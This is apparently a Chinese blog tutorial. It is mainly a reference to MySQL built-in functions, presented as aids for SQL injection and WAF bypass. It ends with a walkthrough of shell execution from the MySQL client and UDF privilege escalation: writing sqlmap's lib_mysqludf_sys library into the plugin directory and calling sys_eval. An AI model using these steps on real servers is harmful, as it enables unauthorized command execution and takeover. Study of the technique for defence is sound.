MySQL函数及提权
在 sql 注入时为了应对各种限制措施,利用数据库自带的一些系统函数经过各种变换之后可以绕过一些 安全设备或者一些基础防御的措施,比如一些字符串转换的函数、截取字符串长度的函数等,
应用的场景包括:通过注入获取数据、变换字符串绕过 WAF、盲注猜解字符数据等
1、MySQL自带函数的功能与用法
1.1、MySQL 字符串函数
1.ASCII(s)
返回字符串 s 的第一个字符的 ASCII 码
SELECT ASCII('MySQL') AS NumCodeOfFirstChar;
+--------------------+
| NumCodeOfFirstChar |
+--------------------+
| 77 |
+--------------------+
2.CHAR_LENGTH(s)
返回字符串 s 的字符数
SELECT CHAR_LENGTH("MySQL") AS LengthOfString;
+----------------+
| LengthOfString |
+----------------+
| 5 |
+----------------+
3.CONCAT(s1,s2…sn)
字符串 s1,s2 等多个字符串合并为一个字符串
SELECT CONCAT ('I',' ','am',' ','learning',' ','MySQL','.') AS ConcatenatedString;
+----------------------+
| ConcatenatedString |
+----------------------+
| I am learning MySQL. |
+----------------------+
注意区别 CONCAT_WS(x, s1,s2…sn)
同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符
与 group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
可配合group_by使用
4.FIELD(s,s1,s2…)
返回第一个字符串 s 在字符串列表(s1,s2…)中的位置
SELECT FIELD("c", "a", "b", "c", "d", "e");
+-------------------------------------+
| FIELD("c", "a", "b", "c", "d", "e") |
+-------------------------------------+
| 3 |
+-------------------------------------+
5.FIND_IN_SET(s1,s2)
返回在字符串s2中与s1匹配的字符串的位置
SELECT FIND_IN_SET('c','a,b,c,d,e');
+------------------------------+
| FIND_IN_SET('c','a,b,c,d,e') |
+------------------------------+
| 3 |
+------------------------------+
6.FORMAT(x,n)
函数可以将数字 x 进行格式化 “#,###.##”, 将 x 保留到小数点后 n 位,最后一位四舍五入。
SELECT FORMAT(3.1415926535,4);
+------------------------+
| FORMAT(3.1415926535,4) |
+------------------------+
| 3.1416 |
+------------------------+
7.INSERT(s1,x,len,s2)
字符串 s2 替换 s1 的 x 位置开始长度为 len 的字符串
SELECT INSERT('MySQL',1,2,'Your');
+----------------------------+
| INSERT('MySQL',1,2,'Your') |
+----------------------------+
| YourSQL |
+----------------------------+
8.LOCATE(s1,s)
从字符串 s 中获取 s1 的开始位置
SELECT LOCATE('SQL','MySQL');
+-----------------------+
| LOCATE('SQL','MySQL') |
+-----------------------+
| 3 |
+-----------------------+
9.LOWER(s)|LCASE(s)
将字符串 s 的所有字母变成小写字母
SELECT LOWER('MYSQL');
+----------------+
| LOWER('MYSQL') |
+----------------+
| mysql |
+----------------+
SELECT LCASE('MYSQL');
+----------------+
| LCASE('MYSQL') |
+----------------+
| mysql |
+----------------+
10.UPPER(s)|UCASE(s)
将字符串 s 的所有字母变成大写字母
SELECT UPPER('mysql');
+----------------+
| UPPER('mysql') |
+----------------+
| MYSQL |
+----------------+
SELECT UCASE('mysql');
+----------------+
| UCASE('mysql') |
+----------------+
| MYSQL |
+----------------+
11.LEFT(s,n)
返回字符串 s 的前 n 个字符
SELECT LEFT('MySQL',2);
+-----------------+
| LEFT('MySQL',2) |
+-----------------+
| My |
+-----------------+
12.RIGHT(s,n)
返回字符串 s 的后 n 个字符
SELECT RIGHT('MySQL',3);
+------------------+
| RIGHT('MySQL',3) |
+------------------+
| SQL |
+------------------+
13.LPAD(s1,len,s2)
在字符串 s1 的开始处填充字符串 s2,使字符串长度达到 len
SELECT LPAD('SQL',7,'My');
+--------------------+
| LPAD('SQL',7,'My') |
+--------------------+
| MyMySQL |
+--------------------+
14.RPAD(s1,len,s2)
在字符串 s1 的结尾处添加字符串 s2,使字符串的长度达到 len
SELECT RPAD ('My',8,'SQL');
+---------------------+
| RPAD ('My',8,'SQL') |
+---------------------+
| MySQLSQL |
+---------------------+
15.LTRIM(s)
去掉字符串 s 开始处的空格
SELECT LTRIM(' MySQL') AS LeftTrimmedString;
+-------------------+
| LeftTrimmedString |
+-------------------+
| MySQL |
+-------------------+
16.RTRIM(s)
去掉字符串 s 结尾处的空格
SELECT RTRIM ('MySQL ');
+-----------------------+
| RTRIM ('MySQL ') |
+-----------------------+
| MySQL |
+-----------------------+
17.TRIM(s)
去掉字符串 s 开始和结尾处的空格
SELECT TRIM(' MySQL ') AS TrimmedString;
+---------------+
| TrimmedString |
+---------------+
| MySQL |
+---------------+
18.MID(s,n,len)|SUBSTR(s, n, len)|SUBSTRING(s, n, len)
从字符串 s 的 n 位置截取长度为 len 的子字符串
SELECT MID('MySQL',3,3) AS ExtractString;
+---------------+
| ExtractString |
+---------------+
| SQL |
+---------------+
19.REPEAT(s,n)
将字符串 s 重复 n 次
SELECT REPEAT('MySQL',3);
+-------------------+
| REPEAT('MySQL',3) |
+-------------------+
| MySQLMySQLMySQL |
+-------------------+
20.REPLACE(s,s1,s2)
将字符串 s2 替代字符串 s 中的字符串 s1
SELECT REPLACE ('MySQL','My','Your');
+-------------------------------+
| REPLACE ('MySQL','My','Your') |
+-------------------------------+
| YourSQL |
+-------------------------------+
21.REVERSE(s)
将字符串s的顺序反过来
SELECT REVERSE ('MySQL');
+-------------------+
| REVERSE ('MySQL') |
+-------------------+
| LQSyM |
+-------------------+
22.SPACE (s)
返回n个空格
SELECT SPACE (10);
+------------+
| SPACE (10) |
+------------+
| |
+------------+
23.STRCMP(s1,s2)
比较字符串 s1 和 s2,如果 s1 与 s2 相等返回 0 ,如果 s1>s2 返回 1,如果 s1<s2 返回 -1
SELECT STRCMP ('MySQL','MySQL');
+--------------------------+
| STRCMP ('MySQL','MySQL') |
+--------------------------+
| 0 |
+--------------------------+
24.SUBSTRING_INDEX(s, delimiter, number)
返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。
如果 number 是正数,返回第 number 个字符左边的字符串。
如果 number 是负数,返回第(number 的绝对值(从右边数))个字符右边的字符串。
SELECT SUBSTRING_INDEX('M*y*S*Q*L','*',2);
+------------------------------------+
| SUBSTRING_INDEX('M*y*S*Q*L','*',2) |
+------------------------------------+
| M*y |
+------------------------------------+SELECT SUBSTRING_INDEX('M*y*S*Q*L','*',-3);
+-------------------------------------+
| SUBSTRING_INDEX('M*y*S*Q*L','*',-3) |
+-------------------------------------+
| S*Q*L |
+-------------------------------------+
SELECT SUBSTRING_INDEX(SUBSTRING_INDEX('M*y*S*Q*L','*',-3),'*',2);
+------------------------------------------------------------+
| SUBSTRING_INDEX(SUBSTRING_INDEX('M*y*S*Q*L','*',-3),'*',2) |
+------------------------------------------------------------+
| S*Q |
+------------------------------------------------------------+
1.2、MySQL 数字函数
1.ABS(x)
返回 x 的绝对值
SELECT ABS(-1);
+---------+
| ABS(-1) |
+---------+
| 1 |
+---------+
2.AVG(expression)
返回一个表达式的平均值,expression 是一个字段
SELECT AVG(Price) AS AveragePrice FROM Products;
+--------------+
| AveragePrice |
+--------------+
| 456.0000 |
+--------------+
3.三角函数(参数x是弧度)
SIN(x) | COS(x) | TAN(x) | COT(x) | ASIN(x) | ACOS(x) | ATAN(x)
4.DEGREES(x)
将弧度转换为角度
SELECT DEGREES(3.1415926535898) ;
+--------------------------+
| DEGREES(3.1415926535898) |
+--------------------------+
| 180.0000000000004 |
+--------------------------+
5.CEIL(x)
返回大于或等于 x 的最小整数
SELECT CEIL (0.1);
+------------+
| CEIL (0.1) |
+------------+
| 1 |
+------------+
6.FLOOR(x)
返回小于或等于 x 的最大整数
SELECT FLOOR(-0.1);
+-------------+
| FLOOR(-0.1) |
+-------------+
| -1 |
+-------------+
7.COUNT(expression)
返回查询的记录总数,expression 参数是一个字段或者 * 号
SELECT COUNT(User) AS User_number FROM user;
+-------------+
| User_number |
+-------------+
| 6 |
+-------------+
8.n DIV m
整除,n 为被除数,m 为除数
SELECT 10 DIV 5;
+----------+
| 10 DIV 5 |
+----------+
| 2 |
+----------+
9.MOD(x,y)
返回 x 除以 y 以后的余数
SELECT MOD(5,2);
+----------+
| MOD(5,2) |
+----------+
| 1 |
+----------+
10.EXP(x)
返回 e 的 x 次方
SELECT EXP(3) ;
+--------------------+
| EXP(3) |
+--------------------+
| 20.085536923187668 |
+--------------------+
11.GREATEST(expr1, expr2, expr3, …)
返回列表中的最大值
SELECT GREATEST(3, 12, 34, 8, 25);
+----------------------------+
| GREATEST(3, 12, 34, 8, 25) |
+----------------------------+
| 34 |
+----------------------------+
SELECT GREATEST('MySQL','Oracle','MariaDB');
+--------------------------------------+
| GREATEST('MySQL','Oracle','MariaDB') |
+--------------------------------------+
| Oracle |
+--------------------------------------+
12.LEAST(expr1, expr2, expr3, …)
返回列表中的最小值
SELECT LEAST(3, 12, 34, 8, 25);
+-------------------------+
| LEAST(3, 12, 34, 8, 25) |
+-------------------------+
| 3 |
+-------------------------+
13.MAX(expression)
返回字段 expression 中的最大值
SELECT MAX(Price) AS LargestPrice FROM Products;
+--------------+
| LargestPrice |
+--------------+
| 789 |
+--------------+
14.MIN(expression)
返回字段 expression 中的最小值
SELECT MIN(Price) AS MinPrice FROM Products;
+----------+
| MinPrice |
+----------+
| 123 |
+----------+
15.对数计算
LOG(x) 返回数字的自然对数,以 e 为底。
LOG(n, x) 返回以n为底,数字x的对数。
LOG2(x) 返回以 2 为底的对数。
LOG10(x) 返回以 10 为底的对数。
16.PI()
返回圆周率(3.141593)
17.POW(x,y) | POWER(x,y)
返回 x 的 y 次方
SELECT POW (2,3);
+-----------+
| POW (2,3) |
+-----------+
| 8 |
+-----------+
SELECT POWER(2,3);
+------------+
| POWER(2,3) |
+------------+
| 8 |
+------------+
18.RADIANS(x)
将角度转换为弧度
SELECT RADIANS(180);
+-------------------+
| RADIANS(180) |
+-------------------+
| 3.141592653589793 |
+-------------------+
19.RAND()
返回 0 到 1 的随机数
SELECT RAND();
+--------------------+
| RAND() |
+--------------------+
| 0.8029554586885083 |
+--------------------+
20.ROUND(x)
返回离 x 最近的整数
SELECT ROUND(1.49999999999);
+----------------------+
| ROUND(1.49999999999) |
+----------------------+
| 1 |
+----------------------+
SELECT ROUND(1.5);
+------------+
| ROUND(1.5) |
+------------+
| 2 |
+------------+
21.SIGN(x)
返回 x 的符号,x 是负数、0、正数分别返回 -1、0 和 1
SELECT SIGN(-1);
+----------+
| SIGN(-1) |
+----------+
| -1 |
+----------+
22.SQRT(x)
返回x的平方根
SELECT SQRT(4);
+---------+
| SQRT(4) |
+---------+
| 2 |
+---------+
23.SUM(expression)
返回指定字段的总和
SELECT SUM(Price) FROM Products;
+------------+
| SUM(Price) |
+------------+
| 1368 |
+------------+
24.TRUNCATE(x,y)
返回数值 x 保留到小数点后 y 位的值(与 ROUND 最大的区别是不会进行四舍五入)
SELECT TRUNCATE(1.23456,3);
+---------------------+
| TRUNCATE(1.23456,3) |
+---------------------+
| 1.234 |
+---------------------+
1.3、MySQL 日期函数
1.ADDDATE(d,n)
计算起始日期 d 加上 n 天的日期
SELECT ADDDATE('2020-2-1',30);
+------------------------+
| ADDDATE('2020-2-1',30) |
+------------------------+
| 2020-03-02 |
+------------------------+
2.ADDTIME(t,n)
n 是一个时间表达式,时间 t 加上时间表达式 n
SELECT ADDTIME('2020-11-10 20:00:00','4:0:0');
+----------------------------------------+
| ADDTIME('2020-11-10 20:00:00','4:0:0') |
+----------------------------------------+
| 2020-11-11 00:00:00 |
+----------------------------------------+
3.DATE_ADD(d,INTERVAL expr type)
计算起始日期 d 加上一个时间段后的日期
SELECT DATE_ADD('2020-11-11 11:11:11' ,INTERVAL 5 MINUTE);
+----------------------------------------------------+
| DATE_ADD('2020-11-11 11:11:11' ,INTERVAL 5 MINUTE) |
+----------------------------------------------------+
| 2020-11-11 11:16:11 |
+----------------------------------------------------+
4.当前日期时间
CURDATE() | CURRENT_DATE() 返回当前日期
CURTIME() | CURRENT_TIME 返回当前时间
NOW() | CURRENT_TIMESTAMP() | LOCALTIME() |LOCALTIMESTAMP() | SYSDATE() 返回当前日期和时间
5.DATE(t) | HOUR(t) | MINUTE(t) |SECOND(t)
从日期或日期时间表达式中提取日期值|小时值|分钟值|秒钟值
SELECT DATE('2020-11-11 0:0:0');
+--------------------------+
| DATE('2020-11-11 0:0:0') |
+--------------------------+
| 2020-11-11 |
+--------------------------+
6.DATEDIFF(d1,d2)
计算日期 d1->d2 之间相隔的天数
SELECT DATEDIFF('2020-11-22','2021-6-7');
+-----------------------------------+
| DATEDIFF('2020-11-22','2021-6-7') |
+-----------------------------------+
| -197 |
+-----------------------------------+
7.DATE_FORMAT(d,f)
按表达式 f的要求显示日期 d
SELECT DATE_FORMAT('2011-11-11 11:11:11','%Y-%m-%d %r');
+--------------------------------------------------+
| DATE_FORMAT('2011-11-11 11:11:11','%Y-%m-%d %r') |
+--------------------------------------------------+
| 2011-11-11 11:11:11 AM |
+--------------------------------------------------+
8.DATE_SUB(date,INTERVAL expr type)
函数从日期减去指定的时间间隔。
select * from Orders;
+---------+------------+
| OrderId | OrderDate |
+---------+------------+
| 1 | 2020-11-11 |
+---------+------------+
SELECT OrderId,DATE_SUB(OrderDate,INTERVAL 2 DAY) AS OrderPayDate FROM Orders;
+---------+--------------+
| OrderId | OrderPayDate |
+---------+--------------+
| 1 | 2020-11-09 |
+---------+--------------+
9.DAY(d)
返回日期值 d 的日期部分
SELECT DAY('2020-11-11') AS day;
+------+
| day |
+------+
| 11 |
+------+
10.DAYNAME(d)
返回日期 d 是星期几,如 Monday,Tuesday
SELECT DAYNAME('2020-11-11');
+-----------------------+
| DAYNAME('2020-11-11') |
+-----------------------+
| Wednesday |
+-----------------------+
11.DAYOFYEAR(d)
计算日期 d 是本年的第几天
SELECT DAYOFYEAR ('2020-11-11');
+--------------------------+
| DAYOFYEAR ('2020-11-11') |
+--------------------------+
| 316 |
+--------------------------+
12.EXTRACT(type FROM d)
从日期 d 中获取指定的值,type 指定返回的值。
type可取值为:
- MICROSECOND
- SECOND
- MINUTE
- HOUR
- DAY
- WEEK
- MONTH
- QUARTER
- YEAR
- SECOND_MICROSECOND
- MINUTE_MICROSECOND
- MINUTE_SECOND
- HOUR_MICROSECOND
- HOUR_SECOND
- HOUR_MINUTE
- DAY_MICROSECOND
- DAY_SECOND
- DAY_MINUTE
- DAY_HOUR
- YEAR_MONTH
SELECT EXTRACT(MINUTE FROM '2020-11-11 11:11:11');
+--------------------------------------------+
| EXTRACT(MINUTE FROM '2020-11-11 11:11:11') |
+--------------------------------------------+
| 11 |
+--------------------------------------------+
13.FROM_DAYS(n)
计算从 0000 年 1 月 1 日开始 n 天后的日期
SELECT FROM_DAYS(9999);
+-----------------+
| FROM_DAYS(9999) |
+-----------------+
| 0027-05-18 |
+-----------------+
14.TO_DAYS(d)
计算日期 d 距离 0000 年 1 月 1 日的天数
SELECT TO_DAYS('0027-05-18');
+-----------------------+
| TO_DAYS('0027-05-18') |
+-----------------------+
| 9999 |
+-----------------------+
15.LAST_DAY(d)
返回给定日期的那一月份的最后一天
SELECT LAST_DAY('2020-2-1');
+----------------------+
| LAST_DAY('2020-2-1') |
+----------------------+
| 2020-02-29 |
+----------------------+
16.MAKEDATE(year, day-of-year)
基于给定参数年份 year 和所在年中的天数序号 day-of-year 返回一个日期
SELECT MAKEDATE(2020,300);
+--------------------+
| MAKEDATE(2020,300) |
+--------------------+
| 2020-10-26 |
+--------------------+
17.MAKETIME(hour, minute, second)
组合时间,参数分别为小时、分钟、秒
SELECT MAKETIME(1,2,3);
+-----------------+
| MAKETIME(1,2,3) |
+-----------------+
| 01:02:03 |
+-----------------+
18.MONTHNAME(d)
返回日期当中的月份名称,如 November
SELECT MONTHNAME('2020-11-11');
+-------------------------+
| MONTHNAME('2020-11-11') |
+-------------------------+
| November |
+-------------------------+
19.PERIOD_ADD(period, number)
为 年-月 组合日期添加一个时段
SELECT PERIOD_ADD(202011,7);
+----------------------+
| PERIOD_ADD(202011,7) |
+----------------------+
| 202106 |
+----------------------+
20.PERIOD_DIFF(period1, period2)
返回两个时段之间的月份差值
SELECT PERIOD_DIFF(202011,202109);
+----------------------------+
| PERIOD_DIFF(202011,202109) |
+----------------------------+
| -10 |
+----------------------------+
21.TIMEDIFF(time1, time2)
计算时间差值
SELECT TIMEDIFF('1:2:3','4:5:6');
+---------------------------+
| TIMEDIFF('1:2:3','4:5:6') |
+---------------------------+
| -03:03:03 |
+---------------------------+
22.QUARTER(d)
返回日期d是第几季节,返回 1 到 4
SELECT QUARTER('2020-11-11');
+-----------------------+
| QUARTER('2020-11-11') |
+-----------------------+
| 4 |
+-----------------------+
23.SEC_TO_TIME(s)
将以秒为单位的时间 s 转换为时分秒的格式
SELECT SEC_TO_TIME(9999);
+-------------------+
| SEC_TO_TIME(9999) |
+-------------------+
| 02:46:39 |
+-------------------+
24.TIME_TO_SEC(t)
将时间 t 转换为秒
SELECT TIME_TO_SEC('02:46:39');
+-------------------------+
| TIME_TO_SEC('02:46:39') |
+-------------------------+
| 9999 |
+-------------------------+
25.STR_TO_DATE(string, format_mask)
将字符串转变为日期
SELECT STR_TO_DATE('November 11 2020', '%M %d %Y');
+---------------------------------------------+
| STR_TO_DATE('November 11 2020', '%M %d %Y') |
+---------------------------------------------+
| 2020-11-11 |
+---------------------------------------------+
26.SUBDATE(d,n)
日期 d 减去 n 天后的日期
SELECT SUBDATE('2020-11-11 11:11:11', 366);
+-------------------------------------+
| SUBDATE('2020-11-11 11:11:11', 366) |
+-------------------------------------+
| 2019-11-11 11:11:11 |
+-------------------------------------+
27.SUBTIME(t,n)
时间 t 减去 n 秒的时间
SELECT SUBTIME('2020-11-11 11:11:11', 11);
+------------------------------------+
| SUBTIME('2020-11-11 11:11:11', 11) |
+------------------------------------+
| 2020-11-11 11:11:00 |
+------------------------------------+
28.TIME(expression)
提取传入表达式的时间部分
SELECT TIME('2020-11-11 19:30:00');
+-----------------------------+
| TIME('2020-11-11 19:30:00') |
+-----------------------------+
| 19:30:00 |
+-----------------------------+
29.TIME_FORMAT(t,f)
按表达式 f 的要求显示时间 t
SELECT TIME_FORMAT('11:11:11','%r');
+------------------------------+
| TIME_FORMAT('11:11:11','%r') |
+------------------------------+
| 11:11:11 AM |
+------------------------------+
30.WEEK(d)
计算日期 d 是本年的第几个星期,范围是 0 到 53
SELECT WEEK('2020-11-11 11:11:11');
+-----------------------------+
| WEEK('2020-11-11 11:11:11') |
+-----------------------------+
| 45 |
+-----------------------------+
1.4、MySQL 高级函数
1.BIN(x) | OCT(x) | HEX(x)
返回 x 的二进制编码|八进制编码|十六进制编码
SELECT BIN(10);
+---------+
| BIN(10) |
+---------+
| 1010 |
+---------+
2.BINARY(s)
将字符串 s 转换为二进制字符串
SELECT BINARY 'MySQL';
+--------------------------------+
| BINARY 'MySQL' |
+--------------------------------+
| 0x4D7953514C |
+--------------------------------+
3.条件判断函数
CASE expressionWHEN condition1 THEN result1WHEN condition2 THEN result2...WHEN conditionN THEN resultNELSE result
END
CASE 表示函数开始,END 表示函数结束。如果 condition1 成立,则返回 result1, 如果 condition2 成立,则返回 result2,当全部不成立则返回 result,而当有一个成立之后,后面的就不执行了。
SELECT CASE -> WHEN '1 > 0' THEN '1 > 0'-> WHEN '2 > 0' THEN '2 > 0'-> ELSE '3 > 0'-> END;
+----------------------------------------------------------------------------+
| CASE
WHEN '1 > 0' THEN '1 > 0'
WHEN '2 > 0' THEN '2 > 0'
ELSE '3 > 0'
END |
+----------------------------------------------------------------------------+
| 1 > 0 |
+----------------------------------------------------------------------------+
4.CAST(x AS type)
转换数据类型
SELECT CAST("2020-11-11" AS DATE);
+----------------------------+
| CAST("2020-11-11" AS DATE) |
+----------------------------+
| 2020-11-11 |
+----------------------------+
5.COALESCE(expr1, expr2, …, expr_n)
返回参数中的第一个非空表达式(从左向右)
SELECT COALESCE(NULL,NULL,'MySQL',NULL,'Oracle',NULL);
+------------------------------------------------+
| COALESCE(NULL,NULL,'MySQL',NULL,'Oracle',NULL) |
+------------------------------------------------+
| MySQL |
+------------------------------------------------+
6.CONNECTION_ID()
返回唯一的连接 ID
SELECT CONNECTION_ID();
+-----------------+
| CONNECTION_ID() |
+-----------------+
| 11 |
+-----------------+
7.CONV(x,f1,f2)
返回 f1 进制数变成 f2 进制数
SELECT CONV(10,10,2);
+---------------+
| CONV(10,10,2) |
+---------------+
| 1010 |
+---------------+
8.CONVERT(s USING cs)
函数将字符串 s 的字符集变成 cs
SELECT CHARSET('ABC');
+----------------+
| CHARSET('ABC') |
+----------------+
| utf8mb4 |
+----------------+
SELECT CHARSET(CONVERT('ABC' USING gbk));
+-----------------------------------+
| CHARSET(CONVERT('ABC' USING gbk)) |
+-----------------------------------+
| gbk |
+-----------------------------------+
9.USER() |CURRENT_USER() |SESSION_USER() |SYSTEM_USER()
返回当前用户
SELECT CURRENT_USER();
+----------------+
| CURRENT_USER() |
+----------------+
| root@% |
+----------------+
10.DATABASE()
返回当前数据库名
SELECT DATABASE();
+------------+
| DATABASE() |
+------------+
| mysql |
+------------+
11.IF(expr,v1,v2)
如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
SELECT IF(1 > 0,'正确','错误');
+-----------------------------+
| IF(1 > 0,'正确','错误') |
+-----------------------------+
| 正确 |
+-----------------------------+
12.IFNULL(v1,v2)
如果 v1 的值不为 NULL,则返回 v1,否则返回 v2。
SELECT IFNULL(null,'Hello Word');
+---------------------------+
| IFNULL(null,'Hello Word') |
+---------------------------+
| Hello Word |
+---------------------------+
13.ISNULL(expression)
判断表达式是否为 NULL
SELECT ISNULL(NULL);
+--------------+
| ISNULL(NULL) |
+--------------+
| 1 |
+--------------+
14.LAST_INSERT_ID()
返回最近生成的 AUTO_INCREMENT 值
SELECT LAST_INSERT_ID();
+------------------+
| LAST_INSERT_ID() |
+------------------+
| 0 |
+------------------+
15.NULLIF(expr1, expr2)
比较两个字符串,如果字符串 expr1 与 expr2 相等 返回 NULL,否则返回 expr1
SELECT NULLIF(25, 25);
+----------------+
| NULLIF(25, 25) |
+----------------+
| NULL |
+----------------+
16.VERSION()
查看MySQL版本
返回数据库的版本号
SELECT VERSION();
+-------------------------+
| VERSION() |
+-------------------------+
| 8.0.22-0ubuntu0.20.04.2 |
+-------------------------+
17.MD5()
加密函数
SELECT MD5('123456');
+----------------------------------+
| MD5('123456') |
+----------------------------------+
| e10adc3949ba59abbe56e057f20f883e |
+----------------------------------+
18.IP地址与数字相互转换的函数
- INET_ATON(IP)
IP地址转换为数字表示
- INET_NTOA(n)
将数字n转换成IP形式
SELECT INET_ATON('192.168.0.1');
+--------------------------+
| INET_ATON('192.168.0.1') |
+--------------------------+
| 3232235521 |
+--------------------------+
SELECT INET_NTOA(3232235521);
+-----------------------+
| INET_NTOA(3232235521) |
+-----------------------+
| 192.168.0.1 |
+-----------------------+
19.加锁函数和解锁函数
- GET_LOCK(name,time)函数定义一个名称为name、持续时间长度为time秒的锁。如果锁定成功,则返回1;如果尝试超时,则返回0;如果遇到错误,返回NULL。
- RELEASE_LOCK(name)函数解除名称为name的锁。如果解锁成功,则返回1;如果尝试超时,返回0;如果解锁失败,返回NULL;
- IS_FREE_LOCK(name)函数判断是否已使用名为name的锁定。如果使用,返回0,否则,返回1;
SELECT GET_LOCK('MySQL',10);
+----------------------+
| GET_LOCK('MySQL',10) |
+----------------------+
| 1 |
+----------------------+
SELECT IS_FREE_LOCK('MySQL');
+-----------------------+
| IS_FREE_LOCK('MySQL') |
+-----------------------+
| 0 |
+-----------------------+
SELECT RELEASE_LOCK('MySQL');
+-----------------------+
| RELEASE_LOCK('MySQL') |
+-----------------------+
| 1 |
+-----------------------+
20.@@datadir 数据库路径
@@version_compile_os 操作系统版本
21.sleep(N)
执行select sleep(N)可以让此语句运行N秒钟
前提条件: 指定条件的记录存在时才会停止指定的秒数
mysql> select sleep(1),database(),version(),user();
+----------+------------+-------------------------+----------------+
| sleep(1) | database() | version() | user() |
+----------+------------+-------------------------+----------------+
| 0 | test | 8.0.22-0ubuntu0.20.04.2 | root@localhost |
+----------+------------+-------------------------+----------------+
1 row in set (1.00 sec)
2、MySQL 执行系统命令
在 MySQL 的命令行界面中可以使用 system shell-cmd
或者\! shell-cmd
格式执行 shell 命令。
实例:
mysql> system ls /var/www
example.com html
mysql> \! ls /var/www
example.com html
也可以打开一个新的 shell,关闭 shell (使用 exit 或者 CTRL D)后返回 MySQL 命令行界面。
mysql> \! bash
root@linux:/var/www/html/project# cd ~
root@linux:~# ls
snap
root@linux:~# exit
exit
mysql>
3、UDF提权执行系统命令
UDF 为 “User-Defined Function” 的所写,即用户自定义函数。MySQL 允许用户添加新的函数,其中一种方法就是通过其提供的 UDF 接口,添加用户自定义函数。用户自定义函数可以使用 C/C++ 语言编写并编译成库文件(其它语言也可以,只要能编译成共享库文件),放到 MySQL 指定的目录下,以便 MySQL 能动态加载用户自定义的函数。
使用 UDF 可以加载自定义的函数,因此可以通过自定义函数执行各种操作,关于用户自定义函数的编写可参考,Extending MySQL
3.1、udf提权
1)原理:UDF提权是利用MySQL的自定义函数功能,构造特定的DLL将Mysql账号转化为系统system权限
2)条件
- MySQL 用户能写文件到 MySQL 指定的自定义函数库存放目录。
- MySQL 用户具有
INSERT
权限,才能使用CREATE FUNCTION
语句在 MySQL 中添加自定义的函数,此外如果使用DROP FUNCTION
语句删除自定义函数,还需要有DELETE
权限。
查看secure_file_priv
的值
show global variables like 'secure%';当secure_file_priv的值为NULL或/tmp/时,此时无法提权当secure_file_priv的值没有具体值时,则可以提权
3.2、udf文件
对于udf文件,在sqlmap工具中自带就有,或github里搜索,只要找对应操作系统的版本即可
查看系统架构
show variables like '%compile%'; 查看主机版本及架构
Windows下是.dll文件;linux下是.so文件
在 sqlmap\data\udf\mysql\windows|linux\64|32目录下存放着lib_mysqludf_sys.dll__|.so_
但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用,可以利用sqlmap 自带的解码工具cloak.py解码后,再直接利用。
进入到 sqlmap\extra\cloak 目录下,执行命令:
python clock.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
然后会生成一个lib_mysqludf_sys.so文件
3.3、使用udf
1)将udf文件放到指定位置
得到插件库路径
show variables like "%plugin%";
得到udf文件的十六进制格式,可在本地通过
select hex(load_file('/usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';
#windows下cmd命令行处理
certutil -encodehex -f -v lib_mysqludf_sys.dll 1.txt 4
写入插件库
select '7F454C46020...' into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
2)从udf文件中引入自定义函数
查看下这个udf库所支持的函数
root@linux:~# nm -D /usr/lib/mysql/plugin/lib_mysqludf_sys.sow _Jv_RegisterClasses
0000000000201788 A __bss_startw __cxa_finalizew __gmon_start__
0000000000201788 A _edata
0000000000201798 A _end
0000000000001178 T _fini
0000000000000ba0 T _initU fgetsU forkU freeU getenv
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_initU mallocU mmapU pcloseU popenU reallocU setenvU strcpyU strncpy
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_initU sysconfU systemU waitpid
创建函数
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.14 sec)
3)执行自定义函数
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql |
+--------------------+
1 row in set (0.04 sec)mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name | ret | dl | type |
+----------+-----+-------------+----------+
| sys_eval | 0 | lib_mysqludf_sys.so | function |
+----------+-----+-------------+----------+
1 row in setmysql> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)mysql> select * from func;
Empty set (0.00 sec)
参考资料
[1] MySQL 常用内置函数与所有内置函数
[2] MySQL常用内置函数
[3] udf提权原理详解
[4] Linux利用UDF库实现Mysql提权
[5] MySQL UDF提权执行系统命令
[6] Mysql——udf提权
MySQL函数及提权相关推荐
- SQL注入-基于MySQL的注入提权(十七)
实验目的(我的2003是32位的懒得搞了,大家参照一下吧) 普及结合dll文件对Windows系统进行启动项提权.MOF和UDF提权的基本思路,以及提权的主要方法.PS:面试时不要说打靶场什么东西,就 ...
- mysql进行mof提权_Mysql结合mof提权
Mysql结合mof提权 作者:admin 发布于:2013-5-25 17:41 Saturday 分类:网络转载 from:http://zone.wooyun.org/content/1795 ...
- Mysql之UDF提权
前言 mysql提权的几种方式 udf提权(常用) mof提权 开机启动脚本(启动项提权) 提权目的:mysql权限 -> 操作系统权限 UDF提权 有时候我们通过一些方式获取了目标主机mysq ...
- mysql sys exec_mysql提权lib_mysqludf_sys执行sys_exec出现32256的问题解决办法
使用lib_mysqludf_sys提权,执行select sys_exec返回数字32256问题的主要原因是所执行的shell脚本无权限,也就是mysql无法执行,将shell脚本放在mysql s ...
- mysql mof提权_三、mysql 之mof提权学习
一.测试环境 win2003 + phpnow 二.使用条件 mysql + root权限 三.工具准备 (1)工具1: 准备好mof提权脚本(具体mof脚本,已上传网盘) (2)工具2: 准备好菜刀 ...
- mysql进行mof提权_MySQL数据库Root权限MOF方法提权研究
